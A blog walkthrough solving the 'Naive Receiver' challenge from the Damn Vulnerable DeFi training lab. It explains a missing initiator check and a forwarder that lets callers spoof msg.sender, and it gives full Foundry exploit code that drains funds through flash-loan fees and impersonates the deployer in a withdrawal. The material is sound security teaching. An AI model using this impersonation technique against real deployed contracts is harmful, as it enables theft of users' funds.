Damn Vulnerable DeFi V4 Foundry Challenge 2 Solution: Naive?Receiver
Johnny Time
Founder @ Ginger Security | Blockchain Security Engineer and Web3 Security Educator. Learn more at: johnnytime.xyz
Intro
Hey everyone! JohnnyTime here, breaking down the second challenge from Damn Vulnerable DeFi v4?—?“Naive Receiver”. This challenge explores a common access control vulnerability that can drain funds through flash loan fees.
I’ve created a video tutorial for this challenge if you prefer watching rather than reading. You can also check out my full playlist with walkthroughs for all challenges and find the complete solutions in my GitHub repo.
Watch also directly from LinkedIn:
Let’s dive in!
Objective
The challenge description tells us:
There’s a pool with 1000 WETH offering flash loans with a fixed fee of 1 WETH. A user deployed a contract with 10 WETH. All funds are at risk!
Our goal: Rescue all WETH from the user and the pool, depositing them into the recovery account.
So, we need to find a way to:
Smart Contracts Overview
Let’s analyze the key contracts:
Before we continue, if you’re looking to level up your smart contract security skills, check out my Smart Contract Hacking Course. Unlike piecing information together from across the internet, everything is curated with hands-on exercises based on real DeFi hacks. You’ll also get access to our Discord community with me and other teachers/students, plus certification upon completion of the final exam!
Vulnerability Breakdown
After analyzing the contracts, I’ve identified two key vulnerabilities:
Vulnerability #1: Missing Access Control in FlashLoanReceiver
Looking at the onFlashLoan function in FlashLoanReceiver:
function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)
external
returns (bytes32)
{
assembly {
// gas savings
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}
// ... rest of function ...
}
The first parameter (initiator) is completely ignored! This is dangerous because:
Vulnerability #2: Insecure Forwarder Implementation
In the NaiveReceiverPool contract, the _msgSender() function reveals another vulnerability:
function _msgSender() internal view override returns (address) {
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
} else {
return super._msgSender();
}
}
This allows the forwarder to impersonate any address by controlling the last 20 bytes of the message data. However, as we’ll see, we don’t even need to exploit this vulnerability to solve this challenge.
Exploitation
Our attack plan is simple:
Here’s my exploit code:
/**
* CODE YOUR SOLUTION HERE
*/
function test_naiveReceiver() public checkSolvedByPlayer {
// Prepare call data for 10 flash loans and 1 withdrawal
bytes[] memory callDatas = new bytes[](11);
// Encode flash loan calls - on behalf of the Naive receiver
for (uint i = 0; i < 10; i++) {
callDatas[i] = abi.encodeCall(
NaiveReceiverPool.flashLoan,
(receiver, address(weth), 0, "0x")
);
}
// Encode withdrawal call
// Exploit the access control vulnerability by passing the request through the forwarder
// And setting the deployer as sender in the last 20 bytes (That's how the pool parses it)
callDatas[10] = abi.encodePacked(
abi.encodeCall(
NaiveReceiverPool.withdraw,
(WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))
),
bytes32(uint256(uint160(deployer)))
);
// Encode the multicall
bytes memory multicallData = abi.encodeCall(pool.multicall, callDatas);
// Create forwarder request
BasicForwarder.Request memory request = BasicForwarder.Request(
player,
address(pool),
0,
gasleft(),
forwarder.nonces(player),
multicallData,
1 days
);
// Hash the request
bytes32 requestHash = keccak256(
abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
)
);
// Sign the request
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, requestHash);
bytes memory signature = abi.encodePacked(r, s, v);
// Execute the request
forwarder.execute(request, signature);
}
When we run the attack:
There you have it! The FlashLoanReceiver’s critical mistake was not validating who could request flash loans on its behalf, allowing us to drain it through repeated fee payments.
In real-world DeFi, always implement proper access controls and validate transaction initiators to prevent similar attacks!
Hope you enjoyed this one and I will see you in the next guide! ??